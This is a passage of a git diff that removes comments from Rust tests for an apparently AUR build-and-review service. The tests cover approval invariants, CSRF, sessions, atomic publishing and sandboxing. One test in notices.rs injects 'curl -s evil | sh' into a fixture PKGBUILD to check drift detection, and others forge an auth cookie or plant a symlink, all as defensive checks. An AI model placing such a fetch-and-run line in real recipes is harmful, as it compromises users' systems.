@@ fn the_identity_digest_is_a_function_of_the_identity_alone() { let hash_of = |i: &Identity| i.hash().unwrap(); assert!(hash_of(&base).starts_with("sha256:")); assert_eq!(hash_of(&base), hash_of(&base.clone()), "the same identity hashed twice, twice differently"); - // Every element of the tuple is part of the key (§5.1a). assert_ne!(hash_of(&base), hash_of(&Identity { pkgrel: "2".into(), ..base.clone() })); assert_ne!(hash_of(&base), hash_of(&Identity { epoch: "1".into(), ..base.clone() })); assert_ne!(hash_of(&base), hash_of(&Identity { aur_commit: "cafe124".into(), ..base.clone() })); diff --git a/tests/http.rs b/tests/http.rs index 068f999..9bb199e 100644 --- a/tests/http.rs +++ b/tests/http.rs @@ -29,7 +29,6 @@ fn every_surface_renders() { #[test] fn the_review_detail_shows_the_panels_and_the_hashes() { let web = Web::new("plain-make"); - // Publish a first version so the review has something to diff against. let first = web.open_review("plain-make"); let page = web.get(&format!("/reviews/{}", first.id)); let dd = extract(&page.body, "name=\"diff_digest\" value=\"", "\"").unwrap(); @@ -43,17 +42,14 @@ fn the_review_detail_shows_the_panels_and_the_hashes() { let c = web.open_review("plain-make"); let page = web.get(&format!("/reviews/{}", c.id)); assert_eq!(page.status, 200); - // The panel set (§6), all comparing accepted → candidate. for want in ["Recipe diff", "Version delta", "Source digest delta", "Dependency delta", "Build-env delta"] { assert!(page.body.contains(want), "missing panel {want}"); } assert!(page.body.contains("previous accepted release"), "no base shown"); - // The approve form carries both hashes (§7.1a) and works with JavaScript off. assert!(page.body.contains("name=\"identity_hash\"")); assert!(page.body.contains("name=\"diff_digest\"")); assert!(page.body.contains("<form method=\"post\"")); assert!(!page.body.contains("<script"), "P2 ships no JavaScript at all"); - // The aur_commit is shown and linked into AUR's cgit. assert!(page.body.contains("aur.archlinux.org/cgit/aur.git"), "no cgit link"); } @@ -81,13 +77,11 @@ fn risk_signals_are_shown_inline() { fn every_post_requires_a_csrf_token() { let web = Web::new("plain-make"); let c = web.open_review("plain-make"); - // A form post with no token at all is refused outright. let page = web.post_bare( &format!("/reviews/{}/approve", c.id), &[("identity_hash", "x"), ("diff_digest", "y")], ); assert_eq!(page.status, 403, "a POST without CSRF must be refused"); - // And so is one with a token from someone else's session. let page = web.post(&format!("/reviews/{}/approve", c.id), &[ ("csrf", "not-the-token"), ("identity_hash", &c.identity_hash), @@ -127,8 +121,6 @@ fn a_stale_approval_is_a_409_that_renders_the_current_diff() { let page = web.get(&format!("/reviews/{}", c.id)); let shown_digest = extract(&page.body, "name=\"diff_digest\" value=\"", "\"").unwrap(); - // Upstream moves while the reviewer is reading: the identity changes under - // them (§7.1a). web.fx.bump(&[("pkgver", "9.9")]); aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap(); @@ -138,8 +130,6 @@ fn a_stale_approval_is_a_409_that_renders_the_current_diff() { ); assert_eq!(res.status, 409, "a stale approval must come back as 409"); assert!(res.body.contains("refused"), "no explanation: {}", &res.body[..200.min(res.body.len())]); - // Either way the reviewer is told the ground moved, and shown the review as it - // is NOW rather than the one they asked to approve. assert!( res.body.contains("while you were looking") || res.body.contains("no longer pending"), "not a §7.1a explanation: {}", @@ -181,7 +171,6 @@ fn bulk_approve_refuses_high_risk_without_individual_confirmation() { assert!(res.body.contains("refused"), "bulk approve accepted a high-risk item: {}", &res.body[..300.min(res.body.len())]); assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(0)); - // Confirming it individually lets it through — bulk is per-item (§7.4). let res = web.post( "/reviews/bulk", &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id), ("confirm", &id)], @@ -195,9 +184,7 @@ fn a_password_gate_redirects_anonymous_visitors() { let mut web = Web::with_password("plain-make", "s3cret"); let page = web.get("/reviews"); assert_eq!(page.status, 200); - // The gate redirects; ureq follows, so we land on the login page. assert!(page.body.contains("Sign in"), "not the login page: {}", &page.body[..200.min(page.body.len())]); - // Wrong password is refused, right password lets us through. let bad = web.post("/login", &[("csrf", &web.csrf), ("password", "nope")]); assert_eq!(bad.status, 401); assert!(web.get("/packages").body.contains("Sign in"), "still not gated"); @@ -210,19 +197,14 @@ fn a_password_gate_redirects_anonymous_visitors() { #[test] fn a_forged_auth_cookie_is_not_a_session() { - // What this pins: the gate used to read `Cookie: auth=1`, a value login merely - // echoed, so any client that typed the cookie could read the reviews without - // ever supplying the password. The session id is the credential now. let web = Web::with_password("plain-make", "s3cret"); for path in ["/", "/reviews", "/audit", "/settings", "/builds", "/packages"] { let res = web.raw_request("GET", path, &[("Cookie", "auth=1".into())], None); assert_eq!(res.status, 303, "{path} let a forged cookie through ({}): {}", res.status, &res.body[..120.min(res.body.len())]); assert_eq!(res.header("location"), Some("/login"), "{path} did not redirect to the login page"); } - // A POST with the forged cookie is turned away at the gate too. let res = web.raw_request("POST", "/logout", &[("Cookie", "auth=1".into())], Some("")); assert_eq!(res.status, 303, "a forged cookie reached a mutating route"); - // And the word "auth" is not a cookie the server recognises anywhere. let res = web.raw_request("GET", "/reviews", &[("Cookie", "auth=yes".into())], None); assert_eq!(res.status, 303); } @@ -230,7 +212,6 @@ fn a_forged_auth_cookie_is_not_a_session() { #[test] fn login_rotates_the_session_and_logout_ends_it() { let mut web = Web::with_password("plain-make", "s3cret"); - // Arrive with an anonymous session (the CSRF token needs one), then log in. let anon = web.raw_request("GET", "/", &[], None).cookie().unwrap_or_default(); let res = web.login("s3cret"); assert_eq!(res.status, 303); @@ -238,12 +219,10 @@ fn login_rotates_the_session_and_logout_ends_it() { let session = res.cookie().unwrap_or_default(); assert!(!session.is_empty(), "a successful login issued no session cookie"); assert_ne!(session, anon, "login promoted the anonymous session instead of rotating it"); - // The new session sees the surface; the sid it replaced is dead. assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session.clone())], None).status, 200); if !anon.is_empty() { assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", anon)], None).status, 303, "the pre-login sid still worked"); } - // Logout drops the sid server-side, which invalidates its CSRF token with it. let out = web.raw_request("POST", "/logout", &[("Cookie", session.clone()), ("Content-Type", "application/x-www-form-urlencoded".into())], Some(&format!("csrf={}", web.csrf))); assert_eq!(out.status, 303, "logout did not redirect: {}", out.status); assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session)], None).status, 303, "the logged-out sid still worked"); @@ -251,8 +230,6 @@ fn login_rotates_the_session_and_logout_ends_it() { #[test] fn handlers_read_on_a_read_only_connection() { - // The claim under test: a handler can never take the write lock, because the - // connection it reads through is read-only at the SQLite level. let web = Web::new("plain-make"); let err = web .env @@ -263,7 +240,6 @@ fn handlers_read_on_a_read_only_connection() { }) .err(); assert!(err.is_some(), "a read connection was able to write: the split is not real"); - // And the page still renders while that is true. assert_eq!(web.get("/").status, 200); } diff --git a/tests/invariants.rs b/tests/invariants.rs index 35f5b1a..d5b3758 100644 --- a/tests/invariants.rs +++ b/tests/invariants.rs @@ -6,7 +6,6 @@ use aur_build::review::approve::approve as do_approve; use aur_build::review::{candidates, diff}; use common::*; -/// subscribe → detect → render → approve → build → publish, in one call. fn full_run(env: &Env, name: &str) -> CandidateRow { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -35,14 +34,11 @@ fn count(env: &Env, sql: &str) -> i64 { .unwrap() } -/// **I1 — no artifact without an approval.** After a real publish, every entry -/// in the served index traces back through a release to an approval row. #[test] fn i1_every_index_entry_traces_back_to_an_approval() { let (env, _fx) = env_with_fixture("plain-make"); full_run(&env, "plain-make"); - // The §2 query, verbatim in spirit: index entry → release → approval. assert_eq!( count( &env, @@ -53,7 +49,6 @@ fn i1_every_index_entry_traces_back_to_an_approval() { 0, "I1: an index entry exists that no human approved" ); - // And the reverse direction: nothing was approved and then quietly dropped. assert_eq!( count(&env, "SELECT count(*) FROM approval WHERE decision='approved'"), 1 @@ -61,9 +56,6 @@ fn i1_every_index_entry_traces_back_to_an_approval() { assert_eq!(count(&env, "SELECT count(*) FROM release WHERE approval_id IS NULL"), 0); } -/// **I2 — the diff base is the last accepted version, never the last seen one.** -/// Many detections arrive while nobody is looking; the review still compares against -/// the accepted release. #[test] fn i2_base_is_the_last_accepted_version_after_many_detections() { let (env, fx) = env_with_fixture("plain-make"); @@ -71,7 +63,6 @@ fn i2_base_is_the_last_accepted_version_after_many_detections() { let accepted = db::accepted_release(&env.db, "plain-make").unwrap().unwrap(); assert_eq!(accepted.pkgver, "1.0"); - // Five upstream moves with nobody reviewing. for v in ["1.1", "1.2", "1.3", "1.4", "1.5"] { fx.bump(&[("pkgver", v)]); aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap(); @@ -85,7 +76,6 @@ fn i2_base_is_the_last_accepted_version_after_many_detections() { "I2: the diff base must be the accepted release ({}), not the last seen commit", accepted.id ); - // And the rendered diff really compares against it. let panels = diff::panels(&env.cfg, &env.db, &open[0], Some(&accepted)).unwrap(); let text = diff::render_text(&panels); assert!(text.contains("1.0"), "diff should show the accepted version: {text}"); @@ -93,8 +83,6 @@ fn i2_base_is_the_last_accepted_version_after_many_detections() { let _ = c; } -/// **I4 — publishing is atomic.** Kill the process mid-publish: the consumer- -/// visible index is either entirely the old one or entirely the new one. #[test] fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() { let (mut env, fx) = env_with_fixture("plain-make"); @@ -108,7 +96,6 @@ fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() { let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap(); do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap(); let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); - // Die after the new database is rendered to .tmp but before the rename. env.set_publish_fault("before-rename"); assert!(matches!( pipeline::run(&env.cfg, &env.db, &id).unwrap(), @@ -124,13 +111,10 @@ fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() { query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'"), vec![("plain-make".to_string(), "1.0-1".to_string())] ); - // Recovery re-materializes the index from the DB; it invents nothing. assert!(publish::reconcile(&env.cfg, &env.db).unwrap() >= 1); assert_eq!(std::fs::read(&db_file).unwrap(), old_bytes); } -/// **I5 — a build resumes at the next incomplete step.** A worker that dies -/// mid-pipeline does not repeat the expensive work or double-publish. #[test] fn i5_resume_after_a_crash_repeats_no_completed_step() { let (mut env, fx) = env_with_fixture("plain-make"); @@ -152,7 +136,6 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() { let builds_before = aur_build::shims::called_with(&shim, "makepkg", ""); assert_eq!(builds_before, 2, "one build per attempted publish"); - // "Restart" the worker on the same build row. env.clear_publish_fault(); match pipeline::run(&env.cfg, &env.db, &id).unwrap() { pipeline::Outcome::Succeeded { release_id } => assert!(release_id > 0), @@ -163,16 +146,12 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() { builds_before, "I5: resuming re-ran the build step" ); - // No duplicate side effects: one release row for the version, one artifact. assert_eq!(count(&env, "SELECT count(*) FROM release WHERE pkgver='2.0'"), 1); - // Artifacts are content-addressed; what must not happen is the same bytes - // recorded twice. assert_eq!( count(&env, "SELECT count(*) FROM artifact"), count(&env, "SELECT count(DISTINCT digest) FROM artifact"), "I5: the resume recorded a duplicate artifact" ); - // Every step is checkpointed as succeeded or explicitly skipped. let bad = env .db .read(|c| { @@ -186,8 +165,6 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() { assert_eq!(bad, 0, "every step reached a terminal state"); } -/// **I7 — at most one open review per pkgbase.** Enforced by the partial unique -/// index, not by application politeness. #[test] fn i7_the_schema_refuses_a_second_open_review() { let (env, _fx) = env_with_fixture("plain-make"); @@ -213,8 +190,6 @@ fn i7_the_schema_refuses_a_second_open_review() { assert_eq!(candidates::pending_candidates(&env.db).unwrap().len(), 1); } -/// **I8 — the served index is exactly the set of accepted pointers.** Not a -/// superset and not a subset. Checked against the files on disk as well as the rows. #[test] fn i8_index_equals_the_accepted_pointers() { let (env, fx) = env_with_fixture("plain-make"); @@ -237,19 +212,15 @@ fn i8_index_equals_the_accepted_pointers() { assert!(!pointers.is_empty()); assert_eq!(index, pointers, "I8: index and accepted pointers diverge"); - // The superseded version is really gone, not merely hidden. assert_eq!( count(&env, "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'"), 0 ); - // And the database file on disk lists the same set. let db_file = env.cfg.repo_arch_dir().join("aur-build.db.tar.gz"); let names = index_db_names(&db_file); assert_eq!(names, vec!["plain-make".to_string()]); } -/// **I3 — the recipe is pinned to a commit.** Materializing anything other than -/// the approved tree fails closed before a build runs. #[test] fn i3_materialization_fails_closed_on_the_recipe_pin() { let (env, _fx) = env_with_fixture("plain-make"); @@ -272,7 +243,6 @@ fn i3_materialization_fails_closed_on_the_recipe_pin() { assert_eq!(count(&env, "SELECT count(*) FROM release"), 0); } -/// **I6 — a rebuild never needs a new approval.** #[test] fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() { let (env, _fx) = env_with_fixture("plain-make"); @@ -290,10 +260,6 @@ fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() { ); } -/// n-5: a manual rebuild's identity used to be a hand-rolled -/// `format!("{commit}|{hash}|manual}")` — a second, incompatible format for the -/// same concept, with a delimiter that can occur inside the values. It is now -/// derived through the same canonical-JSON hash as every other identity. #[test] fn a_manual_rebuild_is_deterministic_and_its_own_build() { let (env, _fx) = env_with_fixture("plain-make"); @@ -312,7 +278,6 @@ fn a_manual_rebuild_is_deterministic_and_its_own_build() { ); } -/// **I10 — the audit log is append-only**, and every consequential action is in it. #[test] fn i10_audit_is_append_only_and_records_the_decisions() { let (env, _fx) = env_with_fixture("plain-make"); @@ -348,7 +313,6 @@ fn i10_audit_is_append_only_and_records_the_decisions() { } } -/// **I12 — every build records the world it was built against.** #[test] fn i12_every_build_records_a_world_snapshot() { let (env, fx) = env_with_fixture("plain-make"); @@ -383,12 +347,6 @@ fn i12_every_build_records_a_world_snapshot() { assert!(!members.contains("glibc"), "foreign packages must be filtered out (§10.1)"); } -// I9 (build isolation) is exercised by the chroot step and the real-chroot tier; -// I11 (non-publishable change becomes a notice, never a silent drop) is covered -// by `recipe_drift_under_a_static_version_is_a_notice_not_a_candidate` in -// tests/detect.rs and gets its full treatment with P1's upstream probes. - -/// Read the package names out of a pacman-style database file (gzipped tar). fn index_db_names(path: &std::path::Path) -> Vec<String> { let file = std::fs::File::open(path).unwrap(); let mut ar = tar::Archive::new(flate2::read::GzDecoder::new(file)); @@ -406,12 +364,6 @@ fn index_db_names(path: &std::path::Path) -> Vec<String> { names } -/// I9: build hosts are treated as untrusted — a malicious PKGBUILD must not reach -/// the control plane's data or smuggle foreign bytes into what we publish. -/// -/// `collect` scans the srcdir for `*.pkg.tar.zst` and `ingest` copies whatever those -/// paths point at into the store, from where the bytes are served and signed. So the -/// pipeline refuses symlinks and anything outside the build's own staging directory. #[test] fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() { let (mut env, _fx) = env_with_fixture("plain-make"); @@ -423,7 +375,6 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() { let c = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap(); let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); - // Something a build must never get to publish: our own database file. let secret = env.cfg.db_path(); let store_before = dir_listing(&env.cfg.store_dir()); env.cfg.hooks.shim_plant_link = Some(secret.display().to_string()); @@ -440,7 +391,6 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() { "the failure should say why it refused: {err}" ); - // The refused bytes never reached the store, and nothing was published. assert_eq!( dir_listing(&env.cfg.store_dir()), store_before, @@ -448,7 +398,6 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() { ); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Failed); assert!(db::index_version(&env.db, "plain-make").unwrap().is_none(), "nothing publishes from a failed build"); - // And the database itself is intact — the build read it, it did not become it. assert!(secret.exists()); } diff --git a/tests/kata.rs b/tests/kata.rs index 79bf9d6..f923ea2 100644 --- a/tests/kata.rs +++ b/tests/kata.rs @@ -12,8 +12,6 @@ use common::{env_with_fixture, shim_dir}; #[test] fn a_provisioned_sandbox_rendezvous_and_runs_a_command() { - // Real sandbox-agent process, real frames, real nonce-matched dial-in — - // everything about the kata lease path except the VM. let cfg = Config::default(); let prov = Arc::new(LocalAgentProvisioner::new(shim_dir().join("sandbox-agent"))); let backend = KataBackend::bind(&cfg, "127.0.0.1:0", "kata-token", prov.clone()).unwrap(); @@ -55,8 +53,6 @@ fn a_sandbox_that_never_dials_in_is_a_ttl_expiry_not_a_hang() { #[test] fn the_live_kata_tier_is_recorded_not_silently_absent() { - // The §16a convention: a tier that needs hardware or infrastructure - // announces its own skip rather than pretending to have run. if !Path::new("/dev/kvm").exists() { println!("note: no /dev/kvm on this host; the live kata tier is skipped, not passed"); return; @@ -65,8 +61,6 @@ fn the_live_kata_tier_is_recorded_not_silently_absent() { println!("note: /dev/kvm present but AUR_KATA_API unset; live kata tier still skipped"); return; }; - // Recorded as reached: a real cluster lease. Kept minimal on purpose — - // acquire, one command, reclaim. let cfg = Config::default(); let prov = Arc::new(aur_build::sandbox::kata::K8sSandboxProvisioner { api, @@ -82,10 +76,6 @@ fn the_live_kata_tier_is_recorded_not_silently_absent() { sbx.destroy().unwrap(); } -// agent-sandbox as a configuration, not a wish: the path from a config file to -// the CR that would boot a VM, asserted end to end from parsed JSON. - -/// A config file as an operator would write it, parsed by the real loader. fn agent_sandbox_config() -> Config { let tmp = tempfile::tempdir().unwrap(); std::fs::write( @@ -135,7 +125,6 @@ fn an_agent_sandbox_config_provisions_a_kata_vm_per_lease() { assert!(args.windows(2).any(|w| w[0] == "--agent-id" && w[1] == "sbx-nonce-9")); assert!(args.windows(2).any(|w| w[0] == "--ttl" && w[1] == "77")); - // The cluster coordinates come from the same config, not from a default. let prov = aur_build::sandbox::kata::K8sSandboxProvisioner::for_config(&cfg).unwrap(); assert_eq!(prov.api, "https://k8s.test:6443"); assert_eq!(prov.namespace, "builds"); @@ -149,24 +138,18 @@ fn agent_sandbox_is_a_backend_not_a_fallthrough_to_loopback() { let id = backend.status().unwrap()[0].id.clone(); assert!(id.contains("kata@"), "expected a kata backend, got {id}"); - // One backend per process, for the same reason the listener is: a second - // concurrent build must not race the first for the dial-ins it routes. let again = aur_build::sandbox::backend_for(&cfg).unwrap(); assert_eq!(again.status().unwrap()[0].id, id, "two builds must share one kata backend"); } #[test] fn a_loopback_config_never_becomes_agent_sandbox_or_vice_versa() { - // The fallthrough in both directions, closed. let local = Config::default(); let id = aur_build::sandbox::backend_for(&local).unwrap().status().unwrap()[0].id.clone(); assert!(!id.contains("kata@"), "loopback must not report kata: {id}"); assert!(!id.contains("remote@"), "loopback must not report remote: {id}"); } -/// The seam's whole claim, tested as one thing: a real package built and published -/// through the kata lease path, with a VM being the only thing this host cannot -/// provide. #[test] fn a_fixture_builds_and_publishes_through_the_kata_lease_path() { let (env, _fx) = env_with_fixture("plain-make"); @@ -189,22 +172,15 @@ fn a_fixture_builds_and_publishes_through_the_kata_lease_path() { }; assert!(release > 0); - // Published, not merely built: the served index now names the package. let world = aur_build::pipeline::publish::index_world(&env.db).unwrap(); assert!( world.iter().any(|w| w.pkgbase == "plain-make" && w.version == "1.0-1"), "the index must serve what the kata build produced: {world:?}" ); - // And it ran inside the leased sandbox: the agent streamed the build output over - // the wire into the same log file the SSE tail reads. let log = std::fs::read_to_string(env.cfg.build_log_path(&id)).unwrap(); assert!(log.contains("Making package"), "agent output must reach the log:\n{log}"); let shimlog = env.cfg.hooks.shim_dir.clone().unwrap(); assert_eq!(aur_build::shims::called_with(&shimlog, "makepkg", ""), 1); - - // Deliberately no assertion that the sandbox is gone: the design says the TTL is - // the guarantee and destroy is courtesy (wire.rs). A busy hub holds up to - // `steps x builds` sandboxes until their TTL bites. } diff --git a/tests/layers.rs b/tests/layers.rs index 8566584..1856462 100644 --- a/tests/layers.rs +++ b/tests/layers.rs @@ -21,8 +21,6 @@ fn rust_files(dir: &Path) -> Vec<PathBuf> { out } -/// Every `crate::X` reference from `dir` into any of `forbidden`, as -/// "file:line: text" so a failure names the exact edge. fn edges(dir: &str, forbidden: &[&str]) -> Vec<String> { let mut hits = Vec::new(); for file in rust_files(&src_root().join(dir)) { @@ -48,17 +46,12 @@ fn edges(dir: &str, forbidden: &[&str]) -> Vec<String> { #[test] fn persistence_names_nothing_above_itself() { - // M-6: `db::stage_b_cache_get` used to return `watch::upstream::StageB`, so the - // storage layer could not be understood without the watcher. let hits = edges("db", &["watch", "review", "pipeline", "http", "ops", "shims"]); assert!(hits.is_empty(), "src/db depends upward on the modules above it:\n{hits:#?}"); } #[test] fn review_does_not_call_back_into_the_watcher() { - // M-7: `review::risk` called `watch::digests::skip_on_non_vcs` while - // `watch::detect` called `review::candidates` — a cycle. It now lives in - // `recipe`, and both sides look down, not sideways. let hits = edges("review", &["watch", "pipeline", "http"]); assert!(hits.is_empty(), "src/review depends on modules beside or above it:\n{hits:#?}"); } @@ -71,7 +64,6 @@ fn the_watcher_does_not_reach_into_the_pipeline_or_the_ui() { #[test] fn the_recipe_leaf_depends_on_nothing_above_it() { - // `recipe` is a leaf: everything else may ask it; it may ask nothing. let text = std::fs::read_to_string(src_root().join("recipe.rs")).expect("read recipe.rs"); for m in ["watch", "review", "pipeline", "http", "ops", "shims"] { assert!( diff --git a/tests/live.rs b/tests/live.rs index da0f7ec..e572638 100644 --- a/tests/live.rs +++ b/tests/live.rs @@ -9,7 +9,6 @@ use aur_build::pipeline; use aur_build::review::{candidates, diff}; use common::*; -/// Approve a fixture's candidate and enqueue its build without running it. fn queued(env: &Env, name: &str) -> String { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -20,7 +19,6 @@ fn queued(env: &Env, name: &str) -> String { pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap() } -/// Read a streaming response until EOF or the deadline, whichever comes first. fn drain(mut r: impl Read, deadline: Duration) -> String { let mut buf = [0u8; 4096]; let mut out = Vec::new(); @@ -47,8 +45,6 @@ fn the_log_stream_delivers_bytes_as_they_are_appended_and_then_ends() { std::fs::create_dir_all(log.parent().unwrap()).unwrap(); std::fs::write(&log, "==> step materialize\n").unwrap(); - // A producer appends while the stream is open, then finishes the build. If the - // endpoint buffered its response the "live" claim would be false. let db = web.env.db.clone(); let id2 = id.clone(); let log2 = log.clone(); @@ -58,8 +54,6 @@ fn the_log_stream_delivers_bytes_as_they_are_appended_and_then_ends() { std::thread::sleep(Duration::from_millis(400)); append(&log2, "==> step publish\n"); std::thread::sleep(Duration::from_millis(200)); - // Walk the machine the way a real build does: a queued build runs - // before it succeeds. builds::set_state(&db, &id2, BuildState::Running, None).unwrap(); builds::set_state(&db, &id2, BuildState::Succeeded, None).unwrap(); }); @@ -73,9 +67,7 @@ fn the_log_stream_delivers_bytes_as_they_are_appended_and_then_ends() { assert!(body.contains("data: ==> step materialize"), "the first line is missing: {body}"); assert!(body.contains("data: ==> step build"), "appended bytes never arrived: {body}"); assert!(body.contains("data: ==> step publish"), "the tail stopped early: {body}"); - // It ends when the build does, rather than holding the connection forever. assert!(body.contains("event: end"), "the stream never ended: {body}"); - // SSE framing: each log line is its own event, so a client can append. assert!(body.contains("\n\n"), "not event-framed: {body}"); } @@ -96,17 +88,13 @@ fn the_builds_table_refreshes_via_htmx_and_still_works_without_js() { let web = Web::attach(env, fx); let base = web.url("/builds"); - // One queued build so the table has a row. queued(&web.env, "plain-make"); let page = ureq::get(&base).call().unwrap().into_string().unwrap(); - // The refresh is an attribute on the table, not a script we wrote. assert!(page.contains("hx-trigger=\"every 3s\""), "no htmx refresh: {}", &page[..400.min(page.len())]); assert!(page.contains("hx-get=\"/builds?fragment=1\""), "the refresh has no target"); assert!(page.contains("<script src=\"/static/htmx.min.js\""), "htmx is not loaded"); - // And with JavaScript off the same HTML already contains the table. assert!(page.contains("<table>"), "no server-rendered table"); - // The fragment endpoint returns the table on its own, so htmx can swap it in. let frag = ureq::get(&format!("{base}?fragment=1")).call().unwrap().into_string().unwrap(); assert!(frag.starts_with("<div id=\"builds\""), "fragment is not the table: {}", &frag[..120.min(frag.len())]); assert!(!frag.contains("<!doctype"), "the fragment is a whole page"); @@ -117,9 +105,6 @@ fn the_builds_table_refreshes_via_htmx_and_still_works_without_js() { fn htmx_is_the_only_javascript_and_what_is_shipped_fits_the_budget() { let (env, fx) = env_with_fixture("plain-make"); let web = Web::attach(env, fx); - // Served bytes are what a browser actually downloads, and that is the budget - // with any meaning. An HTTP client would transparently decompress, which is - // exactly what this budget is about, so read the wire directly. let (headers, served) = raw_get(&web, "/static/htmx.min.js", true); assert!(headers.to_lowercase().contains("content-encoding: gzip"), "the vendored js is not compressed: {headers}"); assert!( @@ -127,17 +112,14 @@ fn htmx_is_the_only_javascript_and_what_is_shipped_fits_the_budget() { "vendored JavaScript is {} bytes on the wire, over the 20 KB budget", served.len() ); - // The compressed copy really is htmx, not a stub pretending to be it. let raw = gunzip(&served); assert!(raw.starts_with(b"(function"), "the decompressed file is not htmx"); assert!(raw.len() > 40_000, "decompressed htmx looks truncated: {}", raw.len()); - // A client that cannot take gzip still gets working JavaScript, just larger. let (plain_headers, plain_bytes) = raw_get(&web, "/static/htmx.min.js", false); assert!(!plain_headers.to_lowercase().contains("content-encoding"), "served gzip to a client that did not ask"); assert_eq!(plain_bytes, raw, "the two copies disagree"); - // Nothing else is JavaScript: there is no place to hide a bundle. let other = ureq::get(&web.url("/static/anything-else.js")).call(); assert!(matches!(other, Err(ureq::Error::Status(404, _))), "we serve arbitrary js"); } @@ -150,13 +132,9 @@ fn the_stylesheet_is_served_and_the_review_surface_needs_no_javascript() { assert!(css.contains("body"), "app.css is a placeholder"); let page = web.get("/reviews").body; assert!(page.contains("<link rel=\"stylesheet\" href=\"/static/app.css\">"), "the page does not load it"); - // The review flow is the one that must work with scripting disabled, so it does - // not load htmx at all. assert!(!page.contains("<script"), "the review surface ships JavaScript"); } -/// Ask for a path over a bare socket so the response is seen before any client-side -/// content negotiation undoes it. fn raw_get(web: &Web, path: &str, gzip: bool) -> (String, Vec<u8>) { use std::io::{BufRead, BufReader, Write}; let addr = web.server.addr.clone(); diff --git a/tests/notices.rs b/tests/notices.rs index 1f2852e..3fb0055 100644 --- a/tests/notices.rs +++ b/tests/notices.rs @@ -11,8 +11,6 @@ fn detect_outcome(env: &Env, name: &str) -> detect::Outcome { detect::check_pkgbase(&env.cfg, &env.db, name).unwrap().outcome } -/// Approve and publish whatever is currently pending, so the next detection has -/// an accepted release to compare against. fn publish_current(env: &Env) { let c = candidates::pending_candidates(&env.db).unwrap().remove(0); let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap(); @@ -29,7 +27,6 @@ fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() { detect_outcome(&env, "digest-drift"); publish_current(&env); - // The bytes behind the SKIP source change and the version does not. fx.swap_payload("EVIL: whatever the CDN serves now"); let outcome = detect_outcome(&env, "digest-drift"); match outcome { @@ -45,7 +42,6 @@ fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() { assert_eq!(notices[0].kind, notice_kind::INTEGRITY_ALERT); assert_eq!(notices[0].severity, "high", "this is the highest-value detection we have"); assert!(notices[0].detail_json.contains("no longer serves"), "{}", notices[0].detail_json); - // And the index keeps serving the artifact built from the old bytes (I1). assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new()); assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1)); } @@ -74,7 +70,6 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() { detect_outcome(&env, "plain-make"); publish_current(&env); - // The maintainer edits the build() body but forgets to bump pkgrel. let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap(); @@ -110,15 +105,12 @@ fn risk_scoring_compares_against_the_accepted_release() { detect_outcome(&env, "plain-make"); publish_current(&env); - // A metadata-only bump: low risk, nothing alarming. fx.bump(&[("pkgrel", "2")]); detect_outcome(&env, "plain-make"); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); assert_eq!(c.risk_level, risk::level::LOW, "signals: {:?}", c.risk_signals()); assert!(!c.risk_signals().iter().any(|s| s.starts_with("recipe-code-changed"))); - // Now change the build body and add a fetching makedep: the shape of a real - // supply-chain edit. let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); std::fs::write( @@ -150,8 +142,6 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() { #[test] fn i11_nothing_publishable_is_ever_silently_dropped() { - // Sweep every fixture through detection and assert the outcome is always a - // review, a notice, an explicit no-change, or a recorded failure. let fixtures = [ "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset", "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails", @@ -169,7 +159,6 @@ fn i11_nothing_publishable_is_ever_silently_dropped() { ), "{name}: first detection produced {first:?}" ); - // Every notice is a row, not just a return value. let notices = db::list_notices(&env.db, false).unwrap(); if let detect::Outcome::Notice { kind, .. } = &first { assert!( @@ -177,7 +166,6 @@ fn i11_nothing_publishable_is_ever_silently_dropped() { "{name}: a {kind} outcome left no notice row" ); } - // Now move something and re-detect: still never silent. let _ = 